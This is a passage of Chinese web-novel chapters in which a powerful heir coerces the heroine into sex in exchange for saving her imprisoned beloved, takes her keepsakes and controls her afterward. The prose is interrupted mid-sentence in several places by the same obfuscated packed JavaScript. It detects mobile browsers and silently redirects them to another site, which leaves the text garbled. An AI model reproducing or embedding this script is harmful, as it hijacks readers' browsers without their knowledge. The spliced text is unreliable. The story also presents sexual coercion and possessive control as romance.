姜于归心如死灰的前往书房,长廊下的积雪未扫,每踏出一步,都发出“咯吱——”的轻响,像是踩在她自己碎裂的心上。 长青如往常般守在门外,见到她,神色如常的行礼:“姜娘子。” “世子可在?”她的声音平静得出奇。 “在,世子午后便从宫里出来了,您直接进去便是。”长青垂眸,侧身让开通路。 他甚至没有询问她的来意,也没有丝毫要通传的意思。 这个认知让姜于归心底最后一丝侥幸彻底熄灭——他果然在等她。 从午后出宫等到现在,如同耐心的蜘蛛,守在自己织就的网中央。 姜于归深呼吸一口气,随后推门而入。 书房内不似往日温暖,炭火似乎并未烧足,带着一丝清冷的寒意。 容璟并未坐在书案后,而是背对着她,临窗而立,身影挺拔却透着一股难以接近的疏离。 他静静的看着窗外沉寂的庭院,仿佛那枯寂的雪景比室内的来客更有吸引力。 听见动静,容璟也没有回头,甚至连姿势都未曾改变一分。 空气凝滞,只有姜于归轻微的脚步声和有些过速的心跳。 他明明知道她进来了,却用这种彻底的忽视,作为对她上次决绝姿态的回应,也是一种无声的下马威。 姜于归在他身后几步远的地方停下,指甲悄然掐入掌心,低声道了句:“世子。” 良久,就在她几乎要耗尽所有勇气时,容璟才缓缓转过身。 脸上没有半分温和的笑意,也没有刻意表现的怒意,只有一片深不见底的平静。 容璟的目光落在姜于归身上,那审视的眼神冰冷而锐利,像在评估一件物品最新的价值,从她刻意换上的衣裙,到她强作镇定却难掩苍白的脸。 他薄唇微启,吐出两个没有任何温度的字眼:“稀客。” 这与以往截然不同的开场,让姜于归心脏猛的一缩。 她准备好的所有试探的话,全都堵在了喉咙里。 姜于归开口,声音因紧张而微哑:“我......” 容璟打断她,语气平淡无波,却带着刺骨的嘲讽:“今日可是大年初一,听闻你今日兴致颇佳,不仅去了慕容府尽孝心,还能有雅兴甩开护卫,在京中散心。” 容璟将散心二字咬得极轻,却重若千钧的砸在姜于归的心上。 他果然什么都知道,从她出门,到她自以为是金蝉脱壳,摆脱监视,再到她去了顾府...... 她所有的行动都如同台上的提线木偶,线头始终牢牢掌握在容璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936215|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手中。 一切都在他眼中无所遁形。 知道任何迂回都已无用,姜于归心底反倒生出一种破釜沉舟的平静,抬眸,清亮的目光直接对上容璟冰冷的视线。 姜于归尽力让声音平稳:“世子消息灵通,既然世子都知道,那也该知道,我在顾大人那里,听到了什么消息。” 容璟微微挑眉,不置可否,只是用眼神示意她继续。 他那副尽在掌握的姿态,比任何逼问都更令人窒息。 绝望如同冰水,蔓延至四肢百骸,姜于归知道,自己已无路可走。 她闭了闭眼,再睁开时,眼底是一片荒芜的决绝,终于问出了这个让她肝胆俱裂的问题。 “林晏......活不过十五,是吗?” 容璟闻言,唇角几不可查的勾起一抹极淡的弧度,那不是笑,而是一种近乎残忍的了然。 他终于踱步,向她走近,步伐缓慢,却每一步都像踩在她的心尖上。 容璟在姜于归面前站定,居高临下的看着她,声音低沉而危险:“是,又如何?不是,又如何?” 他离得那样近,身上清冽的沉香气息混合着冰冷的压迫感,将她牢牢笼罩。姜于归能清晰的看到他眼中自己的倒影,那般渺小,那般无助。 下一刻,姜于归颤抖的声音从齿缝间挤出来:“求你,救他。” 容璟闻言低笑一声,目光似有似无的扫过姜于归苍白的脸,语气带着毫不掩饰的讥诮,甚至带上了推心置腹的残忍。 “姜姑娘,你似乎忘了我们上次不欢而散,你当时的态度,可是明确得很。 而且慕容林晏的案子牵扯甚广,尤其是永嘉公主。陛下对公主的宠爱朝野皆知。我何必为了一个罪臣,去触这个霉头?于我而言,有百害而无一利。 况且,此事我早已与林晏谈过,他自己也认了,若当真难逃一死,只求我照看好他祖父母,便再无牵挂。” 他刻意又清晰的没有提起姜于归这三个字,仿佛她从未存在于林晏的世界,也从未是林晏的牵挂。 这话像一把淬了毒的匕首,精准的捅进了姜于归心脏最柔软的的方。 54. [锁] [此章节已锁] 不是为了自己未被提及,而是为了林晏在那暗无天日的牢笼里,独自承受着这一切,甚至做好了赴死的准备......而她,却什么都做不了。 眼泪不受控制的涌上眼眶,模糊了视线。 姜于归强忍着不让它们落下,但声音已然带上了哽咽的颤抖:“我求您......世子,我求您出手,救他一命。” “求?” 容璟微微挑眉,好整以暇的看着她:“你拿什么求我?又凭什么认为我会帮你?凭你几次三番的拒绝?还是凭你......这身新换的衣裳?” 他的话如同利刃,精准的剥开姜于归所有卑微的伪装,将她试图保留的最后一丝尊严也踩在脚下。 姜于归脸色煞白,身体几不可查的晃了一下,但她没有后退。 她知道,这就是代价。 姜于归仰起头看着他,一字一句,清晰的说道:“用我,来换。” 空气仿佛在这一刻彻底冻结。 容璟没有立刻回应,但是眸中的冰冷瞬间被一种深沉,灼热的东西取代,那里面翻涌着积压已久的欲望,被挑战权威的戾气,以及一种终于等到猎物自投罗网的扭曲的兴奋。 他猛的伸手,冰凉的手指捏住她的下颌,力道之大,让她感到清晰的痛楚。 容璟开口,声音喑哑,命令道:“说清楚,用什么换?怎么换?” 姜于归被迫承受着他侵略性十足的目光,屈辱和绝望如同藤蔓绞紧了她的心脏。 她声音破碎,却带着孤注一掷的坚定:“只要你肯救他,从今以后,我是你的人,身心皆属于你,为奴为婢,再无二意,我会安分守己留在汀兰水榭,我......自愿留在你身边。” “心甘情愿?再无二心?” 容璟重复着这句话,下一刻,指尖在姜于归下颌的肌肤上摩挲,带来一阵战栗。 容璟猛的凑近,灼热的气息喷在她的耳廓,如同恶魔的低语:“姜于归,我要的,从来不是一句空话。你可想清楚了,你的选择,可别后悔!” 姜于归迎上容璟的目光,斩钉截铁的道:“不悔!” 话音刚落,容璟的另一只手揽住她纤细的腰肢,将她狠狠带向自己,两人身体紧密相贴,不留一丝缝隙。 他让姜于归清晰的感受到他身体的变化,和那不容错辨的意图。 “我要的,从来不是你为奴为婢!我要的是你——姜于归。全部的你,你的身体,你的喜怒,你的未来,我要你在这里,证明你的心甘情愿。还有你的——这里!” 容璟的指尖隔着衣料,重重的点在姜于归的心口,仿佛要烙下印记。 “这个地方,也要为我所有。” 容璟的声音低沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940392|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而致命,带着不容抗拒的强势。 姜于归的脸色更加苍白,身体因为容璟的触碰和话语而僵硬,但她依旧没有退缩,只是从喉咙深处挤出三个字。 “我答应!” 这三个字如同打开牢笼的钥匙,容璟不再说话,而是俯身,一把将她打横抱起! “啊!”姜于归低呼一声,下意识的揽住他的脖颈。 容璟抱着她,大步走向书房内侧的暖阁。 容璟开口,气息灼热的拂过她的耳畔,带着一种宣告般的残忍与温柔:“现在,我来收取我的定金。” 话音未落,容璟的吻已经落下,不是温柔的试探,而是带着不容抗拒的力度。 他低哑的声音在她耳边响起,带着一丝戏谑的残忍:“怕了?” 姜于归咬紧下唇,倔强的不肯出声。 她的沉默与僵硬,像一根细微的刺,扎进了容璟被欲望充斥的神经。 “看着我,姜于归。”容璟命令道,捏住她的下颌,迫使她转向自己。 姜于归的眼中蒙着一层水光,却依旧没有焦点,仿佛透过他在看别的什么。 这种眼神彻底激怒了容璟。 容璟俯身,近乎虔诚又无比残忍的吻去她眼角的泪。 他的声音沙哑得厉害:“姜于归,你记住,从现在开始,你是我容璟的人。” 55. 第 55 章 姜于归只觉得像是一叶扁舟,在惊涛骇浪中无助的沉浮。 她试图抵抗,指甲无意识的在他背上抓挠出红痕,但这细微的反抗,反而像是催化剂,激得身上的人更加狂放。 她的意识几乎要被撞散的时刻,容璟猛的停下动作,起身,汗珠从他额角滑落,滴在她泛着不正常红晕的肌肤上。 容璟紧紧锁住姜于归迷离的眼神,声音带着不容置疑的权威,一字一句的命令道:“听着,从此刻起,你不许再叫那个人林晏。他是慕容大人,或是慕容公子。你的嘴里,不能再吐出那两个字,明白吗?” 姜于归的神智被这突如其来的命令砸得清醒了几分,她看着他,看着他眼中那不容置疑的专制和深藏的嫉妒。 她明白了,这是他要抹去林晏存在的第一步。 她无力反抗,只能闭上眼,极其轻微的点了一下头。 姜于归的顺从取悦了容璟,但他要的,远不止于此。 新一轮的征伐开始,比之前更加缠绵,却也更加深入骨髓。 他像是要将自己的气息彻底融入姜于归的血液,在姜于归被推上极致眩晕的顶点,意识模糊,几乎要脱口而出什么的时候,容璟封住了她的唇,将一个深吻烙印下去。 随后,他贴着她的唇瓣,用一种近乎蛊惑,却又带着致命强势的语气低语道:“还有叫我潜玉。” 说罢,容璟重复了一遍,带着一种奇异的,不容抗拒的温柔:“从现在开始,在这里,只有我们的时候,叫我潜玉。” 这不是商量的口吻,而是命令,是他强行要将两人之间的关系,拉入一个他设定的,无比亲密的范畴。 他要她习惯,要她铭记。 姜于归在痛苦与情/潮的迷雾中,被这声潜玉击中。 这与之前他失控说娶她时不同,此刻的他清醒而坚定,这更像一种主权宣示。 她死死咬住下唇,将那屈辱的称呼与破碎的呻吟一并锁在喉间,用沉默进行着最后的反抗。 姜于归的沉默,像一根针,刺破了容璟短暂温存。 他眸色一沉,动作骤然变得凶狠,带着惩罚的意味,仿佛要将她的固执连同身体一起碾碎。 “叫出来,叫我潜玉。”他命令道,声音喑哑,不容置疑。 生理性的泪水夺眶而出,姜于归终究没能抵挡住这暴烈的攻势,细碎的呜咽逸出唇缝。 但那个名字,她依旧死死守着,如同守住最后一点属于姜于归的领地。 不知过了多久,风暴渐歇。 书房内弥漫着情谷欠过后特有的暖昧气息,混合着淡淡的檀香,形成一种奇异的氛围。 姜于归早已力竭,意识昏沉,连指尖都无法动弹。 在彻底失去意识前,她感到容璟似乎又有了动静,但疲惫和精神的巨大耗损让她无法思考,很快便陷入了黑暗之中。 容璟看着在他身侧昏睡过去的姜于归,她脸上泪痕未干,长发凌乱的铺在锦枕上,嘴唇微肿,带着被狠狠疼爱过的痕迹,脆弱得不堪一击,却又奇异的呈现出一种惊心动魄的美。 他的目光缓缓下移,落在她即使昏迷,也依旧微微攥着的右手上。 他轻轻掰开她的手指,那枚林晏送的,她一直贴身藏着的玉佩,以及腕上那个早已失去暗器的,属于林晏的旧镯子赫然在她掌心,此刻还被她死死攥着,仿佛那是她最后的浮木。 容璟的眼神瞬间阴鸷下来。 刚才短暂的温存,在这一刻消失殆尽。 那种被冒犯,被轻视的暴怒涌上心头。 在他如此彻底的占有她之后,她竟然......竟然还在想着那个人!甚至连在这种时刻,都不肯放开那人的东西! 空虚感如同冰冷的潮水,再次席卷了他。 他得到了人,却仿佛离她的心更远了。 但这种情绪只存在了一瞬,便被更加强硬的偏执所取代。 既然得到了,就只能是他的。一丝一毫属于别人的痕迹,都不允许存在! 他面无表情的,极其轻柔却又无比坚定的将那枚玉佩和那个镯子,从她已然无力的手中抽了出来。 冰凉的触感离开掌心,昏睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945986|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的姜于归似乎有所察觉,眉头不安的蹙起,发出几声模糊的呓语。 容璟将两件东西握在手中,玉佩的温润和银镯的冰冷,此刻都显得无比刺眼。 他端详了片刻,眼中掠过一丝冰冷的决绝。 他不会还给她。 这是战利品,也是警告,是姜于归于过去的彻底终结。 容璟将玉佩和镯子紧紧攥在手心,仿佛要将其捏碎,最终却只是将其收入在书房的某个暗格之中。 做完这一切,他重新躺下,将昏睡的姜于归揽入怀中。 她的身体温热而柔软,完全依赖的靠着他。 容璟低下头,下颌抵着她的发顶,嗅着她发间淡淡的,属于他的气息。 空虚感依然存在,但怀抱的充实感,以及彻底拥有这个事实,暂时压倒了它。 “你是我的了,姜于归。” 容璟在她耳边,用只有自己能听到的声音,再次宣告:“从头到脚,从过去到未来,都只能是我的。” 窗外的天色,早已从正午的明亮,转为黄昏的暧昧,最后沉入漆黑的夜。 书房内的烛火燃尽,又换上了新的,跳动的火光映照着榻上相拥而眠的两人,一个沉睡不醒,一个目光清明,在黑暗中,静静规划着如何将怀中的猎物,吞噬得更彻底。 姜于归是在一阵酸痛中醒来的,意识回笼的瞬间,陌生的环境,身体清晰的触感,以及空气中尚未散尽的,属于容璟的冷冽气息,都让她如坠冰窟。 她几乎是下意识的,用还能动弹的左手摸向右手手腕。 那里空空如也。 林晏送她的那个银镯,不见了! 下一刻,便是抬手摸到脖子上,那个林晏亲手为她戴上的玉佩,也不见了! 这个认知让姜于归瞬间彻底清醒,惊惶的想要坐起,却因身体剧烈的酸痛而低呼出声,重重跌回锦褥之中。 “在找什么?” 容璟的声音自不远处响起,平淡无波,却像一道冰锥刺破清晨的宁静。 姜于归心脏猛的一缩,循声望去。 56. 第 56 章 他已衣冠楚楚的坐在窗边的紫檀木椅上,手中端着一杯茶,氤氲的热气模糊了他过于清俊的眉眼。 那姿态,仿佛已静坐许久,如同一只盘踞在网中央的蜘蛛,耐心等待着猎物在挣扎中触碰第一根丝线,就等着她醒来,等着她发现那空荡荡的手腕。 姜于归攥紧了掌心下微凉的丝绸被褥,强自镇定,声音带着初醒的沙哑:“没......没什么。” 只是这否认苍白得连她自己都不信。 容璟慢条斯理的呷了口茶,随后他放下茶盏,起身,缓步走到床榻边,居高临下的投下一片阴影,将她完全笼罩。 他语气轻柔,却字字如刀,精准的剖开她最后一层伪装:“是在找......别人送的东西?” 别人二字,被他念得格外轻慢,带着一种不屑一顾的鄙夷。 姜于归脸色煞白,嘴唇几不可察的微颤,不敢承认,也无法否认。 容璟俯身,修长的手指并未直接触碰她,而是悬空,极其缓慢的掠过她纤细腕骨原本佩戴镯子的位置,那无形的抚摸比真实的触碰更令人战栗。 他开口,声音里听不出情绪,仿佛在评价一件垃圾:“那个镯子......做工粗糙,样式老旧,戴着也是累赘,平白磨损了肌肤,我替你收起来了。” 容璟顿了顿,目光似是不经意的扫过她空无一物的脖子,那里曾贴着慕容林晏那枚家传玉佩。 “至于那枚玉佩......” 容璟唇角勾起一抹极淡的弧度,带着施舍般的高高在上。 他微微凑近,气息拂过她的耳廓,带来一阵寒意:“玉质尚可,但雕工已是十年前的古拙风气,色泽也欠了几分莹润。你若是喜欢玉佩,库房里收着几块羊脂白玉的胚子,是去岁地方进贡的珍品,质地温润如凝脂,毫无瑕疵。宫里的老师傅闲着呢,我让他们依你的喜好,雕成比那枚更好十倍的式样。或者,你喜欢翡翠?水头极足,我命人给你磨一套头面,日夜换着戴,可好?” 他说得云淡风轻,仿佛只是要丢弃一件碍眼的杂物,再换上更符合他心意的装饰。 每一个字,都在刻意贬低林晏所赠之物的价值,同时炫耀着他所能提供的,远超林晏的奢华。 姜于归的心直直沉下去,沉入冰窖。 她知道,镯子和玉佩是要不回来了。 那不仅仅是物件,是林晏留给她的念想,是她在无数个孤寂夜晚支撑自己的信物,是她千里奔赴的初衷。 如今,却被容璟如此轻描淡写的剥夺,贬损。 她不敢提林晏,甚至不敢流露出过多对镯子和玉佩的在意,生怕那点残存的眷恋会激怒他,连累林晏最后的生机。 姜于归只能垂下眼睫,浓密的睫毛在苍白的脸颊上投下脆弱的阴影,努力掩去眸中翻涌的痛色。 她搜肠刮肚,找到一个无比蹩脚,连自己都无法说服的理由,声音低若蚊蚋。 “那镯子虽不值钱,但毕竟......是他人之物,戴久了,一时不习惯。而且那玉佩太过贵重,我当初......本就是想着要原物奉还,才来了这盛京。我只是怕......怕不小心丢了,不好交代,所以才找......” 容璟静静的听着她的谎言,唇角那抹了然的弧度加深了些许。 他知道她在说谎,每一个颤抖的音节都在诉说着她的不舍与恐惧。但他更满意于她此刻的态度。 她不敢直言索要,不敢理直气壮的宣称那是她的东西,甚至要在他面前,为那份属于其他男人的旧物,寻找一个合乎规矩的,近乎卑微的理由。 这种小心翼翼的畏惧,审时度势的妥协,正是他想要的。 他要亲手将她与过去剥离,哪怕过程会让她鲜血淋漓。 容璟直起身,挺拔的身影带着不容置疑的威压,语气是一种尘埃落定的漠然:“既是他人之物,便不必再惦记了。入了我国公府,你身上,便不该再留着任何......属于过去的印记。” 他刻意加重了他人和过去这两个词,如同盖棺定论。 容璟没有再继续这个话题,仿佛那两件东西已是不值一提的尘埃,转而道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949936|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“起来吧,带你去沐浴。” 姜于归想拒绝,想说她自己可以,但容璟已不容分说的掀开锦被,微凉的空气瞬间侵袭,让她打了个寒颤。 他俯身,直接将她打横抱起。 突如其来的暴露感和悬空感让她低呼一声,下意识的蜷缩起来,双臂紧紧环住自己,试图遮挡。 容璟无视她细微的挣扎,抱着她,稳稳的穿过书房内侧一道隐蔽的雕花木门。门后,竟是一处引了天然温汤的净室,氤氲的热气带着硫磺的气息弥漫开来,模糊了视线。 他亲自将她放入温暖的池水中。 整个过程,姜于归都紧闭着眼,身体僵硬如铁,如同一个没有灵魂的木偶,任由他摆布。 温热的水流包裹着酸痛不堪的身体,却无法驱散心底彻骨的寒意。 容璟的动作甚至可以称得上细致温柔,指尖梳理过她的长发,水流拂过她的肩颈...... 但每一次触碰,都像带着倒刺的鞭子,狠狠的提醒着她昨夜的屈辱与失控。 沐浴后,容璟用一张宽大柔软的雪白绒毯将她从头到脚裹住,像包裹一件珍贵的战利品,再次将她抱起,这一次,是直接走向他的主院寝居。 重新为她穿戴整齐,符合新年氛围的一件新衣,仿佛一种无声的标记。 容璟抱着她走到外间,这里早已备好了一桌精致的晚膳,琳琅满目,香气扑鼻。 他抱着她径直走到主位坐下,然后,竟将她安置在自己腿上,圈在怀中,形成一个亲密无间,却让她窒息无比的姿势。 “吃吧。”他语气自然,仿佛这是天经地义的事情。 姜于归浑身一僵,这样的亲密接触让她无所适从,更是屈辱难当。 她挣扎了一下,想要从他腿上下去。 “别动。” 容璟的手臂如铁箍般骤然收紧,下巴轻抵着她的发顶,声音低沉下去,带着不容置疑的威胁:“或者,你更想我换个方式......喂饱你?” 那话语里的露骨暗示让姜于归瞬间僵住,不敢再动。 57. 第 57 章 但她无法忍受这样进食,这比任何惩罚都更摧残她的意志。 姜于归低声道,试图用规矩说服他:“于礼不合。世子身份尊贵,我......如此姿态用膳,若被下人看见,恐惹非议,有损世子清誉。” 容璟闻言,却低低的笑了起来。 那笑声很轻,却带着一种漫不经心的残忍,仿佛听到了什么极其可笑的事情。 他侧过头,唇几乎贴上她的耳廓,手指缠绕着她一缕半干的发丝,用一种温柔到令人毛骨悚然的语气,慢条斯理的重复。 “非议?在这国公府里,我的喜好,就是规矩。至于清誉......呵,哪个不长眼的东西敢多看一眼,我便割了他的舌头,剜了他的眼睛,扔去后园喂狗。你看,这样......是不是就清静了?” 容璟笑着说出这般血腥的话语,俊美的脸上甚至带着一丝愉悦的慵懒,仿佛只是在讨论今日的天气。 姜于归听得遍体生寒,她知道,他不是在开玩笑。 见规矩和清誉都无法撼动容璟分毫,姜于归再次微弱的挣扎了一下,找到了一个更实际,也更难以让他拒绝的理由,声音带着难以掩饰的疲惫与痛楚。 “我不舒服......这样坐着......牵扯到......伤口,很疼。” 她刻意让声音听起来更虚弱些,希望他能有一丝怜悯。 容璟听完,沉默了片刻,揽着她的手臂力道微微松了些许。 他垂眸看着她苍白的侧脸和紧蹙的眉头,似乎在衡量她话语的真假。 终于,他点了点头,像是做出了让步,但那双深邃的眼眸里却掠过一丝算计的光。 他开口,语气带着一种施恩般的意味:“好,那你叫我一声。” 姜于归一怔,不解的抬眼看他。 容璟的指尖抚上她的唇角,带着不容抗拒的意味,一字一句的提出交换条件:“叫我潜玉。这是我的字,从你嘴里叫出来,定然动听。叫了,我就让你下去,好好用膳。” 姜于归垂着头,双手在膝上紧紧交握,指甲深深嵌进掌心,带来尖锐的刺痛。 叫出口,不仅仅是称呼的改变,这意味着对昨夜暴行的某种程度的默许,意味着她主动踏入了他在两人之间划定的,令人窒息的亲密界限,是对她内心坚守的又一次无情践踏。 时间在令人窒息的沉默中流逝,容璟极有耐心的等待着,仿佛她不叫,就能这样抱着她坐到地老天荒。 他灼热的呼吸拂过她的颈侧,带着无声的催促和压迫。 姜于归死死的咬住下唇,几乎尝到了血腥味。 她能感受到容璟的目光如同实质,牢牢锁在她身上,带着洞悉一切的玩味和势在必得。 她不想激怒他,更想尽快结束这场身心俱疲的煎熬。 最终,她用尽全身残存的力气,像是耗尽了最后一丝生机,从喉咙深处挤出微不可闻,却清晰无比的两个字:“......潜玉。” 声音轻得像即将断裂的蛛丝,带着无法抑制的颤抖和深入骨髓的屈辱。 但容璟听到了。 他脸上瞬间露出了一个真正意义上愉悦的笑容,那笑容驱散了他眼底惯有的冷漠与深沉,带着一种孩童得到心爱玩具般纯粹,却又混合着猛兽终于啃噬到猎物咽喉的,大获全胜的满足感。 他不再逼迫,依言松开了手臂,扶着她在一旁的绣墩上坐好,动作甚至称得上体贴。 容璟满意的颔首,仿佛她完成了一件多么了不起的事情。 随即,他亲自为她布菜,将一小块剔除了刺的鲜嫩鱼肉放入她面前的碟中,语气恢复了平常的温和,却带着不容置疑的占有。 “很好,吃饭吧,于归。” 这一刻,姜于归清楚的知道,有些东西,一旦出口,就再也收不回来了。 她在他精心编织的网里,又陷深了一层。 那顿饭吃得食不知味,精致的菜肴在姜于归口中如同嚼蜡,她机械的吞咽着,感受着身旁容璟投来的,毫不掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949937|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰的占有性目光。 他似乎心情极佳,甚至难得的亲自为姜于归布了几次菜,语气温和的介绍着菜色的来历与妙处,仿佛他们真的是一对恩爱缠绵的寻常爱侣。 他指着其中一道菜,说这是宫中御厨的独门手艺,又夹了一箸清炒芦蒿,说这是江南快马加鞭送来的时鲜。 容璟的声音低沉悦耳,带着一种刻意营造的温情脉脉。 姜于归垂着眼,默默听着,只觉得他那温和的语调,比厉声斥责更让她脊背发凉。 他越是表现得像个体贴的情人,就越发凸显之前在书房的暖阁中发生的一切,是何等荒谬与屈辱。 姜于归感觉自己像一件被主人精心擦拭,展示的藏品,所有的呵护都建立在绝对的占有和掌控之上。 饭后,容璟并未急于处理公务,而是再次将她拥入怀中。 相较于下午的粗暴与惩戒意味,这一次他多了几分耐心,甚至称得上缠绵。 他的指尖轻柔的拂过她的鬓角,沿着颈侧的曲线缓缓下滑,带着一种品鉴珍宝般的细致。但他的眼神依旧深邃,里面翻涌着未散的欲念和不容置疑的掌控。 姜于归闭着眼,身体僵硬得像一块木头,灵魂仿佛抽离出来,悬浮在半空,冷眼旁观着这具躯体的屈从。 她能感觉到他温热的呼吸拂过她的皮肤,能闻到他身上清冽的沉香气息,这一切都让她感到窒息。 姜于归紧紧咬着牙关,不让自己发出一丝声音,仿佛沉默是她最后,也是唯一的抵抗。 不知过了多久,容璟终于满足的放开她,他看着姜于归苍白疲惫的小脸,伸手想抚平她微蹙的眉心,却被她下意识的偏头躲开。 他的手顿在半空,眸色微沉,但很快又恢复了那副温和的模样。 “累了就歇着,晚些时候再来看你。” 容璟语气听不出喜怒,说完后,他起身整理了衣袍便转身离开了,留下姜于归独自躺在凌乱的暖榻上,望着头顶繁复的帐幔花纹,眼神空洞。 58. 第 58 章 接下来的几日,容璟过得颇为舒心。 姜于归虽依旧沉默,眉宇间带着挥之不去的轻愁,但不再有明显的抗拒。 她顺从的待在汀兰水榭,容璟来了,她便陪着,容璟索要,她便给予。 即便容璟知道这顺从之下是强颜欢笑,是心力交瘁后的麻木,他也无所谓。 他要的是人在身边,是这具身体的彻底归属,是那种她属于他的确定感。 至于那颗心是否甘愿,无所谓!他有的是时间和手段慢慢磨,总有彻底驯服的一天。 而容璟对姜于归也毫不吝啬,仿佛要用这些冰冷华贵的东西,填满她身边的每一寸空间。 上好的江南云锦,光彩流动,一匹匹送入水榭,蜀地进贡的苏绣屏风摆在了她的窗前,边境雪山上猎得的貂皮,做成了一件雍容华贵的斗篷,南海贡品中颗颗饱满的珍珠,串成了项链,耳坠,手链,西域商队带来的各色宝石,被能工巧匠做成各式华美的首饰...... 钗环首饰,古玩摆件,无一不精,无一不美,如同流水般涌入汀兰水榭。 汀兰水榭日渐堆金砌玉,恍如仙宫,却冷得没有一丝烟火气。 姜于归看着这些价值连城的物事,只觉得像一座更华丽的牢笼,将她困得更紧。 姜于归时常会走到窗边,看着外面被高墙围住的,方寸之间的天空,感觉自己就像那只被容璟养在金丝笼里的雀鸟,羽毛被装饰得再华美,也失去了翱翔天际的自由。 这日,容璟因公务临时被召入宫中,汀兰水榭难得的只剩下姜于归一人。 那些价值连城的珍宝静静的陈列在四周,流光溢彩,却驱不散她心头的寒意。 她像一只被短暂遗忘在金丝笼里的雀鸟,终于得以喘息,但翅膀早已被无形的丝线缚住,动弹不得。 自由是奢望,但有些底线,她必须守住。 若是一个流淌着容璟血脉的孩子,在此刻降临,对她而言绝非恩赐,而是将她永远钉死在这座华丽牢笼里的最坚固的枷锁。 她绝不能允许。 直接向容璟索要避子药物? 这个念头刚起就被她掐灭,那无异于火上浇油。 他本就因林晏之事对她心存芥蒂,若让他知晓她不愿孕育他的子嗣,哪怕理由冠冕堂皇,也必定会触怒他那病态的掌控欲。 他会如何反应?姜于归不敢细想,那必然是一场她无法承受的风暴。 思前想后,唯一可能帮她,且有能力帮她的人,只有老夫人,容璟的祖母。 姜于归仔细梳洗,换上了一身素净雅致的藕荷色衣裙,发髻上也只簪了支简单的玉簪,刻意褪去了容璟所赠的那些奢华珠宝。 她需要呈现的,是一个安分守己,深知身份,甚至有些战战兢兢的侍妾形象。 秋实陪着她,主仆二人沉默的穿过层叠的院落,走向老夫人所居的寿安堂。 寿安堂内檀香袅袅,气氛庄重肃穆,老夫人正坐在暖榻上,见姜于归进来,她抬起眼,目光锐利而平静,带着历经世事的通透与威严。 “给老夫人请安。” 姜于归规规矩矩的行了大礼,声音轻柔,姿态放得极低。 老夫人闻言招了招手,示意姜于归上前,目光在她身上打量了一圈:“起来吧,孩子,今日怎么得空过来了?璟儿呢?” 姜于归垂眸应答,声音依旧温顺:“回老夫人,世子被宫中召去了,于归想着许久未向老夫人请安,心中不安,特来叨扰。” 老夫人点了点头,语气听不出喜怒:“你有心了,在府中住得可还习惯?璟儿性子冷硬,若是委屈了你,你只管来与我说。” 这话带着几分敲打,也带着几分不易察觉的审视,姜于归心知,在这深宅后院,没有什么能真正瞒过这位老人的眼睛。 她深吸一口气,知道机会稍纵即逝,必须把握住。 她再次深深福礼,却没有立刻起身,而是维持着那个谦卑的姿态,声音带着一丝不易察觉的颤抖,却又努力保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 